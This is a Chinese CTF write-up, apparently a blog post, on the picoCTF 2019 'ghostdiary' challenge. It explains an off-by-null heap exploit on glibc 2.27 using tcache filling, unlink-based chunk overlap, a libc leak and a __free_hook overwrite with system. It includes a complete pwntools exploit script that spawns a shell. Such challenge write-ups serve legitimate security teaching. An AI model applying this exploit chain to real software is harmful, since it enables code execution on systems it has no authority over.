美文网首页CTF-PWNctfCTF Re&&Pwn
[Off-By-Null]picoctf2019-ghostdi

[Off-By-Null]picoctf2019-ghostdi

作者: v1gor | 来源:发表于2019-10-29 15:57 被阅读0次

    知识点

    • off by null 类型漏洞的利用思路
    • 漏洞利用过程中遇到的问题及原理分析

    环境

    • libc2.27

    off by null 漏洞利用思路 (参考pu1pgithub)

    ---
    0x120 A
    ---
    0x80 B
    ---
    0x120 C
    
    malloc A B C
    FREE A             
    edit B1             -> OFF BY NULL
    FREE C              -> unlink A
    malloc A1
    malloc B1           -> overlap chunk with B
    free B1             -> B1 into fastbin
    edit B              -> modify B1's bk
    malloc B2 
    malloc B3           -> fake chunk on free_hook
    edit B3             -> modify free_hook to system
    

    遇到的问题及原理分析

    以本题为例,经典菜单题,可以对diary进行增加、编辑、删除操作,在edit函数中存在off-by-null。

    漏洞利用的入口点是通过溢出的一个\x00字节覆盖下一个堆块的PREV_INUSE位为0。

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk, in bytes                     |A|M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             User data starts here...                          .
            .                                                               .
            .             (malloc_usable_size() bytes)                      .
    next    .                                                               |
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             (size of chunk, but used for application data)    |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|1|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    

    修改完成后,如果free下一个堆块,int_free会检查与当前块相邻的堆块的P位,如果为0,则将这个块从所属的bin中unlink出来,和当前需要free的堆块合并后再放入unsortedbin中。

    本题的exp中,我们这样泄露地址:

    code sheet 1

    #off-by-null                                  
    add(2,0x110)#0                              
    add(1,0x78)#1                                
    add(2,0x110)#2
    

    首先申请三个堆块,其中#0,#2大小相同,#1大小必须是8的整数倍且不是16的整数倍,这样申请堆块的原因是通过#1 修改#2的P位,同时利用堆块间对pre_size的复用来修改#2的pre_size为#0,#1两个堆块的大小之和,这样free(#2)的时候malloc函数就会将#0,#1两个堆块视为已经被free的堆块,从而执行unlink,将#0,#1,#2这三个连续堆块合成一个堆块放入unsortedbin中。这样一来,我们既可以通过edit(#1)来操作#1,也可以通过malloc新的chunk的方式从unsortedbin中获取到#1地址,即构造了对堆块#1的overlap。

    由于本题远程libc版本是2.27,我们需要先将tcache填满,这样才能将#0 free到unsortedbin

    code sheet 2

    for i in range(3,10):
        add(2,0x110)
    for i in range(10,17): #  tricky code:will be useful afterwards
        add(1,0xf0)
    
    for i in range(3,10):#fill tcache
        delete(i)
    delete(0) #put #0 into unsorted bin
    
    for i in range(10,17):#fill tcache   #  tricky code:will be useful afterwards
        delete(i)
    

    #0 放入unsoredbin中是为了绕过free_int对fd和bk的检测:

    fd&&bk check

    我们将#0放入unsortedbin中,由于unsortedbin本身就是一个合法的bin,因此能够顺利被unlink。

    接下来就是通过edit(#1)修改#2的P位,同时利用堆块间对pre_size的复用来修改#2的pre_size为#0,#1两个堆块的大小之和,但是这里有个坑,如果直接这么写,是会报错的:

    code sheet 3

    edit(1,"a"*0x70 + p64(0x120 + 0x80))# use off-by-null to modify 'P' bit in next chunk into zero
    delete(2) #unlink      error:(double free corrption)
    

    这是因为在覆盖#2的P位时,因为覆盖了整整一个字节,会改变#2的size字段,在这里#2的size由原来的0x120被修改为0x100,而在free的时候会检查下一个相邻chunk的pre_inuse是否为1:

    next chunk check

    从上图可以看到,确定前后chunk位置的方法就是利用当前chunk的pre_size字段和size字段,因此在#2的“nextchunk”由于之前的修改,就落在了#2的内部,因此需要填充#2的内容为0x(var)1来绕过这个检查。

    code sheet 4

    edit(1,"a"*0x70 + p64(0x120 + 0x80))# use off-by-null to modify 'P' bit in next chunk into zero
    edit(2,p64(0x21)*32)# bypass double free check
    delete(2) #unlink (double free corrption?) 
    

    var的取值是有限制的,在64位系统中,min(var) = 2(因为0x20是最小堆块大小)而var的上限需要根据具体情况分析,比如在本exp的上下文中,往#2中填充0x31是不可行的,将会触发unlink中的corrupted size vs. prev_size错误,分析如下:

    之前说过,在free的时候,会检查当前堆块的前后chunk是否INUSE

    1570883725453.png

    而下个相邻chunk是否INUSE,则是由下相邻个chunk的下个相邻chunk的pre_inuse位决定的:

    1570884231643.png

    因此,如果在本exp中填充0x31,则#2的下个chunk的下个chunk的地址将会是address(#2) + 0x100 + 0x30 =address(#2) + 0x130 >address(#2) + 0x120也就是超出了#2的可写范围;而填充0x21则恰好让nextchunk(nextchunk(#2))的地址为address(#2) + 0x120,和#2的真正的下个chunk正好重合,因此也绕过了double free的检查。

    调试过程中还发现一个小坑,就是如果free(#2)的时候对应大小tcache没满,则会直接将#2放入对应tcache中,不会触发unlink。因此需要code sheet 2中那段tricky code来绕过这个限制。可以看出在有tcache的libc版本中,tcache操作的优先级高于一般的堆块操作。

    上述工作成功将#0,#1,#2这三个连续堆块合成一个堆块放入unsortedbin中,此时我们再申请和#0大小相同的chunk,就会从unsortedbin中切割出一块,而这个块就可以泄露出libc:

    code sheet 5

    for i in range(2,9): # clear tcache
        add(2,0x110)
    add(2,0x110) #8 split unsorted bin
    libc_addr =u64(show(8).strip("\n").ljust(8,"\x00"))
    print "[+]Leak libc addr: "+hex(libc_addr)
    libc_base = libc_addr - 0x3ebf30
    print "[+]libc base :",hex(libc_base)
    libc = ELF("./libc.so.6")
    system = libc.symbols["system"]
    fh = libc.symbols["__free_hook"]
    system_addr = libc_base + system
    fh_addr = libc_base + fh
    print "[+]System addr:",hex(system_addr)
    

    tcache (fastbin like) attack:

    code sheet 6

    add(1,0x60)#9                           size < size(#1) + size(#2)
    delete(9) #                             put #9 into fastbin
    edit(1,p64(fh_addr) * 2)#               use chunk overlap to edit #9's bk into free_hook
    add(1,0x60)#9                           get #9
    add(1,0x60) #10                         get fake chunk in free_hook address
    edit(10,p64(system_addr))#              modify free_hook into system
    add(1,0x30)#11                          
    edit(11,"/bin/sh\x00")
    delete(11)#                             use free_hook to get shell          
    io.interactive()
    

    完整exp

    from pwn import *                             
    context.log_level = "debug"                   
    context.terminal = ['tmux', 'splitw', '-h']   
    io = process("./ghostdiary")                  
    def add(choice,size):                         
        io.recvuntil(">")                         
        io.sendline("1")                          
        io.recvuntil("both sides?")               
        io.sendline(str(choice))                  
        io.recvuntil("size:")                     
        io.sendline(str(size))                    
    def edit(page,content):                       
        io.recvuntil(">")                         
        io.sendline("2")                          
        io.recvuntil("Page:")                     
        io.sendline(str(page))                    
        io.recvuntil("Content: ")                 
        io.sendline(content)                      
    def show(page):                               
        io.recvuntil(">")                         
        io.sendline("3")                          
        io.recvuntil("Page:")                     
        io.sendline(str(page))                    
        io.recvuntil("Content: ")                 
        return io.recv(6)                         
    def delete(page):                             
        io.recvuntil(">")                         
        io.sendline("4")                          
        io.recvuntil("Page: ")                    
        io.sendline(str(page))                    
                                                                  
    #off-by-null                                  
    add(2,0x110)#0                                
    add(1,0x78)#1                                 
    add(2,0x110)#2
    #edit(1,"a"*0x70 + p64(0x120 + 0x80))
    for i in range(3,10):
        add(2,0x110)
    for i in range(10,17):
        add(1,0xf0)
    
    for i in range(3,10):#fill tcache
        delete(i)
    delete(0) #put #0 into unsorted bin
    for i in range(10,17):#fill tcache
        delete(i)
    
    edit(1,"a"*0x70 + p64(0x120 + 0x80))
    edit(2,p64(0x21)*32)
    #gdb.attach(io,"dir /usr/src/glibc/glibc-2.27/malloc\nb free")
    delete(2) #unlink (double free corrption?) *solved
    for i in range(2,9):
        add(2,0x110)
    add(2,0x110) #8
    libc_addr =u64(show(8).strip("\n").ljust(8,"\x00"))
    print "[+]Leak libc addr: "+hex(libc_addr)
    libc_base = libc_addr - 0x3ebf30
    print "[+]libc base :",hex(libc_base)
    libc = ELF("./libc.so.6")
    system = libc.symbols["system"]
    fh = libc.symbols["__free_hook"]
    system_addr = libc_base + system
    fh_addr = libc_base + fh
    print "[+]System addr:",hex(system_addr)
    add(1,0x60)#9
    delete(9)
    edit(1,p64(fh_addr) * 2)
    add(1,0x60)#9
    add(1,0x60) #10
    edit(10,p64(system_addr))
    add(1,0x30)#11
    edit(11,"/bin/sh\x00")
    delete(11)
    io.interactive()
    
    

    相关文章

      网友评论

        本文标题:[Off-By-Null]picoctf2019-ghostdi

        本文链接:https://www.haomeiwen.com/subject/hnhgvctx.html